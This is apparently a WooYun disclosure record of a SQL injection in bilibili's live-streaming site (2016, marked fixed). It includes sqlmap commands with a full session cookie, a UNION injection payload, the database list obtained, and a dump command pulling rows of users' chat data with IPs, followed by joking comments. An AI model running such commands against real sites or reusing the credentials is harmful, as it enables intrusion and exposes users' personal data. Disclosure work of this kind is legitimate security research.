当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0172994

漏洞标题:bilibili某处SQL注入漏洞

相关厂商:bilibili.com

漏洞作者: creep

提交时间:2016-01-27 13:07

修复时间:2016-01-28 18:43

公开时间:2016-01-28 18:43

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-27: 细节已通知厂商并且等待厂商处理中
2016-01-27: 厂商已经确认,细节仅向厂商公开
2016-01-28: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

上次发的csrf被忽略了,很不开心:( 于是我就找到了个注入
PS:求审核大大,给个前台。长这么大,没前台过:(

详细说明:

注入点:http://live.bilibili.com/i/operation?month=2016-01-01%2000:00:00


1.png


2.png


漏洞证明:

sqlmap.py -u "http://live.bilibili.com/i/operation?month=2016-01-01%2000:00:00*" --cookie="fts=1451713714; uTZ=-480; pgv_pvi=2566455296; tma=136533283.45964959.1451729767610.1451729767610.1451729767610.1; tmd=53.136533283.45964959.1451729767610.; _cnt_dyn=null; _cnt_pm=0; _cnt_notify=0; __utma=148949161.1557161098.1453816022.1453816022.1453816022.1; __utmz=148949161.1453816022.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DedeID=153703; DedeUserID=20747478; DedeUserID__ckMd5=e1df39fd7037a65b; SESSDATA=64c73f99%2C1454421944%2C90ff3b12; LIVE_LOGIN_DATA=2ed7ee57c6067048b045bb6eb9b29ee72fbb108e; LIVE_LOGIN_DATA__ckMd5=913dd3abec658677; CNZZDATA2724999=cnzz_eid%3D903797384-1453819753-%26ntime%3D1453865260; user_face=http%3A%2F%2Fstatic.hdslb.com%2Fimages%2Fmember%2Fnoface.gif; sid=khvqxkr5; pgv_si=s1241440256; _dfcaptcha=06b808246b571c1e1c89368fc712b953; NotFirst=1" --dbs


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (83) - 8 columns
Payload: http://live.bilibili.com:80/i/operation?month=2015-12-01 00:00:00' UNION ALL SELECT 83,83,83,CONCAT(0x716a627171,0x6372514d4f48527341756356757a77506c5948444152685373557a6d6d6c466a6256756773645a56,0x7176717671),83,83,83,83#
---
back-end DBMS: MySQL 5
available databases [11]:
[*] information_schema
[*] live-app
[*] live-coin
[*] live-cost
[*] live-damaku
[*] live-giftlog
[*] live-hamster
[*] live-platform-user
[*] live-sign
[*] live-ugift
[*] live-user
=========================================================
泄露了千万条直播弹幕的发言人uid、ip地址、内容等信息(不排除其他信息)
以下仅仅测试10条,

qlmap.py -u "http://live.bilibili.com/i/operation?month=2016-01-01%2000:00:00*" --cookie="fts=1451713714; uTZ=-480; pgv_pvi=2566455296; tma=136533283.45964959.1451729767610.1451729767610.1451729767610.1; tmd=53.136533283.45964959.1451729767610.; _cnt_dyn=null; _cnt_pm=0; _cnt_notify=0; __utma=148949161.1557161098.1453816022.1453816022.1453816022.1; __utmz=148949161.1453816022.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DedeID=153703; DedeUserID=20747478; DedeUserID__ckMd5=e1df39fd7037a65b; SESSDATA=64c73f99%2C1454421944%2C90ff3b12; LIVE_LOGIN_DATA=2ed7ee57c6067048b045bb6eb9b29ee72fbb108e; LIVE_LOGIN_DATA__ckMd5=913dd3abec658677; CNZZDATA2724999=cnzz_eid%3D903797384-1453819753-%26ntime%3D1453865260; user_face=http%3A%2F%2Fstatic.hdslb.com%2Fimages%2Fmember%2Fnoface.gif; sid=khvqxkr5; pgv_si=s1241440256; _dfcaptcha=06b808246b571c1e1c89368fc712b953; NotFirst=1" -D live-damaku -T dm_dmtable --dump --start 1 --stop 10


3.png


4.png


修复方案:

版权声明:转载请注明来源 creep@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-27 13:47

厂商回复:

攻城狮说要下午直播切腹

最新状态:

2016-01-28:已修复完成


漏洞评价:

评价

  1. 2016-01-27 13:40 | phantom0307 ( 普通白帽子 | Rank:119 漏洞数:33 | Night time sharpensHeightens each sens...)

    又来~我的b站账号可是很值钱的~~求手下留情

  2. 2016-01-27 14:46 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2223 漏洞数:301 | 天天向上 !!!)

    求直播地址。

  3. 2016-01-27 14:51 | chock ( 普通白帽子 | Rank:118 漏洞数:28 | 若你喜欢怪人)

    求直播切腹的av号

  4. 2016-01-27 14:55 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    66666666666666

  5. 2016-01-27 14:58 | 乐乐 ( 实习白帽子 | Rank:51 漏洞数:9 | 一名信息安全员)

    提交漏洞的大神,本是同根生,相煎何太急?

  6. 2016-01-27 15:10 | 帮5买(乌云厂商)

    求直播切腹的av号

  7. 2016-01-27 15:12 | SH0X8001 ( 路人 | Rank:15 漏洞数:3 | 你猜)

    6666 有硬币么

  8. 2016-01-27 15:20 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    一切up主都tm吃屁

  9. 2016-01-27 15:26 | nanpo ( 路人 | Rank:2 漏洞数:1 | POI)

    求直播地址。

  10. 2016-01-27 15:50 | 乐乐 ( 实习白帽子 | Rank:51 漏洞数:9 | 一名信息安全员)

    怎么都这么幸灾乐祸!?求直播地址。

  11. 2016-01-27 16:37 | 金馆长 ( 路人 | Rank:4 漏洞数:2 | Up)

    av10492 不用谢

  12. 2016-01-27 18:26 | hkcs ( 路人 | Rank:12 漏洞数:3 | 只是路过)

    直播地址呢

  13. 2016-01-27 19:06 | D&G ( 普通白帽子 | Rank:525 漏洞数:104 | going)

    求直播地址。